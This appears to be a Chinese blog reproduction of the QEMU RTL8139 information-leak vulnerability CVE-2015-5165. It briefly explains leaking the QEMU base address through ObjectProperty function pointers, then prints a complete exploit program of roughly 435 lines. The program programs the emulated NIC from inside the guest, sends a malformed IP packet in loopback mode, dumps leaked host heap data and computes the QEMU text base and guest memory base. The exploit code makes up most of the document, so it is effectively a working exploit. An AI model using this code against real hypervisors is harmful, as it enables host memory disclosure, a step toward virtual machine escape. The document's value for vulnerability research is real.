        pmio_writeb(1<<6, TxPoll);
    }
}

void xxd(uint8_t *ptr, size_t size)
{
    for (int i = 0, j = 0; i < size; ++i, ++j) {
        if (i % 16 == 0) {
            j = 0;
            printf("\n0x%08x: ", (uint32_t)(ptr+i));
        }
        printf("%02x ", ptr[i]);
        if (j == 7) {
            printf("- ");
        }
    }
    printf("\n");
}

int main(int argc, char *argv[])
{
    // 44*1500 = 66000 > ip_data_len = 65535
    size_t rtl8139_rx_nb = 44;
    rtl8139_ring *rtl8139_rx_ring;
    rtl8139_desc *rtl8139_rx_desc, *rtl8139_tx_desc;

    rtl8139_rx_ring = (rtl8139_ring *)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb*sizeof(rtl8139_ring)
    );

    rtl8139_rx_desc = (rtl8139_desc *)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb*sizeof(rtl8139_desc)
    );

    rtl8139_tx_desc = (rtl8139_desc *)aligned_alloc(
        PAGE_SIZE, sizeof(rtl8139_desc)
    );

    void *rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
    iopl(3);

    rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
    rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
    rtl8139_card_config();
    rtl8139_packet_send(rtl8139_tx_buffer, packet, sizeof(packet));

    sleep(7);

    for (int i = 0; i < rtl8139_rx_nb; ++i) {
    // for (int i = 0; i < 2; ++i) {
        xxd((uint8_t *)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
    }
    return 0;
}

Exploit

原文章[2]中通过这个漏洞获得了qemu-system-x86_64进程加载的基址,和为客户机所MMAP的内存基址。在我的复现环境中未能得到虚拟机内存的基址。下面说一下获得text基址的方法和我所做的一些尝试。

文章[2]在泄露的信息中搜索保存了ObjectProperty对象的堆块(可能是被释放的堆块),通过读取ObjectProperty中所保存的函数指针来泄露qemu-system-x86_64的基地址。

泄露的数据如下图:

image-20201205161404250

此时进程vmmap如下:

1
2
3
4
5
6
7
8
9
    0x555555554000     0x5555555f2000 r--p    9e000 0      qemu-system-x86_64
    0x5555555f2000     0x5555559c9000 r-xp   3d7000 9e000  qemu-system-x86_64
    0x5555559c9000     0x555555b15000 r--p   14c000 475000 qemu-system-x86_64
    0x555555b15000     0x555555be0000 r--p    cb000 5c0000 qemu-system-x86_64
    0x555555be0000     0x555555c5e000 rw-p    7e000 68b000 qemu-system-x86_64
    0x555555c5e000     0x5555586bc000 rw-p  2a5e000 0      [heap]
    # .......    
    0x7fff93600000     0x7fffd3600000 rw-p 40000000 0    # MMAPED Memory: 1G
    # .......

我是在泄露的信息中寻找形似函数指针的数据进行验证(在泄露的数据之中搜索55 55 55),验证是否为某函数(其实看函数名字,也就是ObjectProperty中的成员)。

qemuleak

然后使用任意函数低12位地址进行匹配,减去其偏移得到基地址。

至于客户机内存基地址,在泄露的数据搜索ff 7f,没注意到与0x7fff93600000 0x7fffd3600000 rw-p 40000000 0有强烈关联的地址。而且在我这里,所分配的1G地址空间,低20位为0;网上exploit都是低24位为0的。

exp.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

// 页面相关
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PAGE_PRESENT (1ULL << 63)
#define PAGE_PFN ((1ULL << 55) - 1)

// RTL8139 PMIO base address
#define PMIO_BASE 0xC000

// Ethernet Frame
// DST(6) + SRC(6) + Length/Type(2) + MTU(1500)
#define RTL8139_BUFFER_SIZE 1514

/* w0 ownership flag */
#define CP_RX_OWN (1<<31)

/* w0 ownership flag */
#define CP_TX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30)
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)
/* large send packet flag */
#define CP_TX_LGSEN (1<<27)
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)

/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18)
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17)
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16)

/* w0 bits 0...15 : buffer size */
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
/* w1 add tag flag */
#define CP_TX_TAGC (1<<17)
/* w1 bits 0...15 : VLAN tag (big endian) */
#define CP_TX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low  32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */

/* set after transmission */
/* FIFO underrun flag */
#define CP_TX_STATUS_UNF (1<<25)
/* transmit error summary flag, valid if set any of three below */
#define CP_TX_STATUS_TES (1<<23)
/* out-of-window collision flag */
#define CP_TX_STATUS_OWC (1<<22)
/* link failure flag */
#define CP_TX_STATUS_LNKF (1<<21)
/* excessive collisions flag */
#define CP_TX_STATUS_EXC (1<<20)

/* Symbolic offsets to registers. */
enum RTL8139_registers {
    MAC0 = 0,        /* Ethernet hardware address. */
    MAR0 = 8,        /* Multicast filter. */
    TxStatus0 = 0x10,/* Transmit status (Four 32bit registers). C mode only */
                     /* Dump Tally Conter control register(64bit). C+ mode only */
    TxAddr0 = 0x20,  /* Tx descriptors (also four 32bit). */
    RxBuf = 0x30,
    ChipCmd = 0x37,
    RxBufPtr = 0x38,
    RxBufAddr = 0x3A,
    IntrMask = 0x3C,
    IntrStatus = 0x3E,
    TxConfig = 0x40,
    RxConfig = 0x44,
    Timer = 0x48,        /* A general-purpose counter. */
    RxMissed = 0x4C,    /* 24 bits valid, write clears. */
    Cfg9346 = 0x50,
    Config0 = 0x51,
    Config1 = 0x52,
    FlashReg = 0x54,
    MediaStatus = 0x58,
    Config3 = 0x59,
    Config4 = 0x5A,        /* absent on RTL-8139A */
    HltClk = 0x5B,
    MultiIntr = 0x5C,
    PCIRevisionID = 0x5E,
    TxSummary = 0x60, /* TSAD register. Transmit Status of All Descriptors*/
    BasicModeCtrl = 0x62,
    BasicModeStatus = 0x64,
    NWayAdvert = 0x66,
    NWayLPAR = 0x68,
    NWayExpansion = 0x6A,
    /* Undocumented registers, but required for proper operation. */
    FIFOTMS = 0x70,        /* FIFO Control and test. */
    CSCR = 0x74,        /* Chip Status and Configuration Register. */
    PARA78 = 0x78,
    PARA7c = 0x7c,        /* Magic transceiver parameter register. */
    Config5 = 0xD8,        /* absent on RTL-8139A */
    /* C+ mode */
    TxPoll        = 0xD9,    /* Tell chip to check Tx descriptors for work */
    RxMaxSize    = 0xDA, /* Max size of an Rx packet (8169 only) */
    CpCmd        = 0xE0, /* C+ Command register (C+ mode only) */
    IntrMitigate    = 0xE2,    /* rx/tx interrupt mitigation control */
    RxRingAddrLO    = 0xE4, /* 64-bit start addr of Rx ring */
    RxRingAddrHI    = 0xE8, /* 64-bit start addr of Rx ring */
    TxThresh    = 0xEC, /* Early Tx threshold */
};

/* Bits in TxConfig. */
enum tx_config_bits {

        /* Interframe Gap Time. Only TxIFG96 doesn't violate IEEE 802.3 */
        TxIFGShift = 24,
        TxIFG84 = (0 << TxIFGShift),    /* 8.4us / 840ns (10 / 100Mbps) */
        TxIFG88 = (1 << TxIFGShift),    /* 8.8us / 880ns (10 / 100Mbps) */
        TxIFG92 = (2 << TxIFGShift),    /* 9.2us / 920ns (10 / 100Mbps) */
        TxIFG96 = (3 << TxIFGShift),    /* 9.6us / 960ns (10 / 100Mbps) */

    TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
    TxCRC = (1 << 16),    /* DISABLE appending CRC to end of Tx packets */
    TxClearAbt = (1 << 0),    /* Clear abort (WO) */
    TxDMAShift = 8,        /* DMA burst value (0-7) is shifted this many bits */
    TxRetryShift = 4,    /* TXRR value (0-15) is shifted this many bits */

    TxVersionMask = 0x7C800000, /* mask out version bits 30-26, 23 */
};

/* Bits in RxConfig. */
enum rx_mode_bits {
    AcceptErr = 0x20,
    AcceptRunt = 0x10,
    AcceptBroadcast = 0x08,
    AcceptMulticast = 0x04,
    AcceptMyPhys = 0x02,
    AcceptAllPhys = 0x01,
};

enum ChipCmdBits {
    CmdReset = 0x10,
    CmdRxEnb = 0x08,
    CmdTxEnb = 0x04,
    RxBufEmpty = 0x01,
};

/* C+ mode */
enum CplusCmdBits {
    CPlusRxVLAN   = 0x0040, /* enable receive VLAN detagging */
    CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
    CPlusRxEnb    = 0x0002,
    CPlusTxEnb    = 0x0001,
};

// big endian
// ethernet frame
uint8_t packet[] = {
    /* 以太网帧 */
    // dst
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
    // src
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
    // 类型(代表IP协议)
    0x08, 0x00,
    
    /* IP数据报 */
    // 版本和首部长度
    (0x4 << 4) | 0x5,
    // TOS
    0x00,
    // 总长度
    0x00, 0x13,
    // 标识
    0xde, 0xad,
    // 标志(3bit)和片偏移(以8为基本单位,也就是相当于把标志的3bit当做0来计算)
    0x40, 0x00,
    // TTL
    0x40,
    // 上层协议,代表TCP
    0x06,
    // 首部校验和
    0xde, 0xad,
    // 源IP
    0x7f, 0x00, 0x00, 0x01,
    // 目的IP
    0x7f, 0x00, 0x00, 0x01,

    /* TCP数据报 */
    // 源端口
    0xde, 0xad,
    // 目的端口
    0xbe, 0xef,
    // Sequence Number
    0x00, 0x00, 0x00, 0x00,
    // Acknowledgement Number
    0x00, 0x00, 0x00, 0x00,
    // 报头长度等
    0x50,
    // 
    0x10,
    // Window size
    0xde, 0xed,
    // TCP checksum
    0xde, 0xad,
    // Urgent pointer
    0x00, 0x00
};

// RTL8139 Rx/Tx descriptor
typedef struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
}rtl8139_desc;

// RTL8139 Rx/Tx ring
typedef struct rtl8139_ring {
    struct rtl8139_desc *desc;
    void *buffer;
}rtl8139_ring;

uint64_t gva_to_gpa(void *addr)
{
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
	exit(-1);
    }

    uint64_t pme, gfn;
    size_t offset;
    offset = ((uint64_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PAGE_PRESENT))
        return -1;
    gfn = pme & PAGE_PFN;

    return (gfn << PAGE_SHIFT) | ((uint64_t)addr & ((1 << PAGE_SHIFT) - 1));
}

void pmio_writeb(uint32_t data, uint32_t port)
{
    outb(data, PMIO_BASE+port);
}

void pmio_writew(uint32_t data, uint32_t port)
{
    outw(data, PMIO_BASE+port);
}

void pmio_writel(uint32_t data, uint32_t port)
{
    outl(data, PMIO_BASE+port);
}

uint32_t pmio_readb(uint32_t port)
{
    return (uint32_t)inb(PMIO_BASE+port);
}

uint32_t pmio_readw(uint32_t port)
{
    return (uint32_t)inw(PMIO_BASE+port);
}

uint32_t pmio_readl(uint32_t port)
{
    return (uint32_t)inl(PMIO_BASE+port);
}

void rtl8139_desc_config_rx(rtl8139_ring *ring, rtl8139_desc *desc, size_t nb)
{
    size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
    for (int i = 0; i < nb; ++i) {
        memset(&desc[i], 0, sizeof(desc[i]));
        ring[i].desc = &desc[i];
        ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
        
        memset(ring[i].buffer, 0, buffer_size);

        ring[i].desc->dw0 |= CP_RX_OWN;
        ring[i].desc->dw0 |= buffer_size;
        ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
        // printf("buffer[%d]: 0x%x\n", i, ring[i].desc->buf_lo);  // for debug
    }
    pmio_writel((uint32_t)gva_to_gpa(desc), RxRingAddrLO);
    pmio_writel(0, RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc *desc, void *buffer)
{
    memset(desc, 0, sizeof(rtl8139_desc));
    desc->dw0 |= CP_TX_OWN  |
                 CP_TX_EOR  |
                 CP_TX_LS   |
                 CP_TX_IPCS |
                 CP_TX_TCPCS|
                 CP_TX_LGSEN;
    desc->dw0 |= RTL8139_BUFFER_SIZE;
    desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
    pmio_writel((uint32_t)gva_to_gpa(desc), TxAddr0);
    pmio_writel(0, TxAddr0+4);
}

void rtl8139_card_config()
{
    pmio_writel(TxLoopBack, TxConfig);
    pmio_writel(AcceptMyPhys, RxConfig);
    pmio_writew(CPlusRxEnb|CPlusTxEnb, CpCmd);
    pmio_writeb(CmdRxEnb|CmdTxEnb, ChipCmd);
}

void rtl8139_packet_send(void *buffer, void *packet, size_t len)
{
    if (len <= RTL8139_BUFFER_SIZE) {
        memcpy(buffer, packet, len);
        pmio_writeb(1<<6, TxPoll);
    }
}

void xxd(uint8_t *ptr, size_t size)
{
    for (int i = 0, j = 0; i < size; ++i, ++j) {
        if (i % 16 == 0) {
            j = 0;
            printf("\n0x%08x: ", (uint32_t)(ptr+i));
        }
        printf("%02x ", ptr[i]);
        if (j == 7) {
            printf("- ");
        }
    }
    printf("\n");
}

uint64_t leak_text_base_addr(rtl8139_ring *ring, size_t ring_count)
{
    const uint64_t property_release_bool_offset = 0x379DEF;
    const uint64_t property_get_str = 0x379a57;
    uint64_t offset[2] = {property_get_str, property_release_bool_offset};
    const uint64_t mask = 0xFFF;

    for (int i = 0; i < ring_count; ++i) {
        uint8_t *ptr = (uint8_t *)ring[i].buffer + 56;
        uint8_t *end = (uint8_t *)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
        while (ptr < end - 8) {
            uint64_t value = *(uint64_t *)ptr;
            for (int j = 0; j < 2; ++j) {
                if ((value & mask) == (offset[j] & mask)) {
                 return value - offset[j];
                }
            }
            
            ptr += 4;
        }
    }
    return -1;
}

uint64_t leak_physical_addr(rtl8139_ring *ring, size_t ring_count)
{
    const uint64_t mask = 0xffff000000ULL;
    uint32_t array[0x10000];
    uint32_t index = 0;
    memset(array, 0, sizeof(array));

    for (int i = 0; i < ring_count; ++i) {
        uint8_t *ptr = (uint8_t *)ring[i].buffer + 56;
        uint8_t *end = (uint8_t *)ring[i].buffer + RTL8139_BUFFER_SIZE/4*4;
        while (ptr < end - 8) {
            uint64_t value = *(uint64_t *)ptr;
            if (((value >> 40) & 0xff) == 0x7f) {
                value = (value & mask) >> 24;
                array[value]++;
                if (array[value] > array[index]) {
                    index = value;
                }
            }
            ptr += 4;
        }
    }

    uint64_t memory_size = 0x40000000;
    return (((uint64_t)index | 0x7f0000) << 24) - memory_size;
}

int main(int argc, char *argv[])
{
    // 44*1500 = 66000 > ip_data_len = 65535
    size_t rtl8139_rx_nb = 44;
    rtl8139_ring *rtl8139_rx_ring;
    rtl8139_desc *rtl8139_rx_desc, *rtl8139_tx_desc;

    rtl8139_rx_ring = (rtl8139_ring *)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb*sizeof(rtl8139_ring)
    );

    rtl8139_rx_desc = (rtl8139_desc *)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb*sizeof(rtl8139_desc)
    );

    rtl8139_tx_desc = (rtl8139_desc *)aligned_alloc(
        PAGE_SIZE, sizeof(rtl8139_desc)
    );

    void *rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
    iopl(3);

    rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
    rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
    rtl8139_card_config();
    rtl8139_packet_send(rtl8139_tx_buffer, packet, sizeof(packet));

    sleep(7);

    for (int i = 0; i < rtl8139_rx_nb; ++i) {
    // for (int i = 0; i < 2; ++i) {
        xxd((uint8_t *)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
    }

    uint64_t text_base_addr = leak_text_base_addr(rtl8139_rx_ring, rtl8139_rx_nb);
    printf("Text base address: 0x%llx\n", text_base_addr);
    uint64_t physical_addr = leak_physical_addr(rtl8139_rx_ring, rtl8139_rx_nb);  // ERROR
    printf("Physical address: 0x%llx\n", physical_addr);
    return 0;
}

遇到的问题

  1. ifconfig得到的MAC地址是52:54:00:12:34:56,但是rtl8139_do_receive中进行比对时,比对的MAC地址是52:54:00:12:34:57
  2. 与前人的exploit对比得知,函数的偏移有所变化(如property_get_bool),应该是编译的问题。需要自行查看泄露的数据,进行验证。
  3. 使用scp命令拷贝到客户机,无法拷贝成功。后使用python3 -m http.server进行文件的传输。

参考

misc

  1. git - Find a commit on GitHub given the commit hash - Stack Overflow
  2. RTL8139 - OSDev Wiki
  3. 以太网帧格式 - 维基百科,自由的百科全书 (wikipedia.org)
  4. IP 数据报 - AhuntSun - 博客园 (cnblogs.com)
  5. 一张图了解TCP/IP五层网络模型_在路上-CSDN博客

vulnerability

  1. QEMU 信息泄露漏洞 CVE-2015-5165 分析及利用 | 程序人生 (programlife.net)
  2. .:: Phrack Magazine ::. QEMU Case Study
  3. Virtualized_Learning/Vulnerability/CVE-2015-5165 at master · Resery/Virtualized_Learning
  4. qemu-pwn-cve-2015-5165信息泄露漏洞分析 « 纵有寂寂无名时 (ray-cp.github.io)
  5. QEMU escape: Part 3 Information Leakage (CVE-2015-5165) – 氷 菓 (dangokyo.me)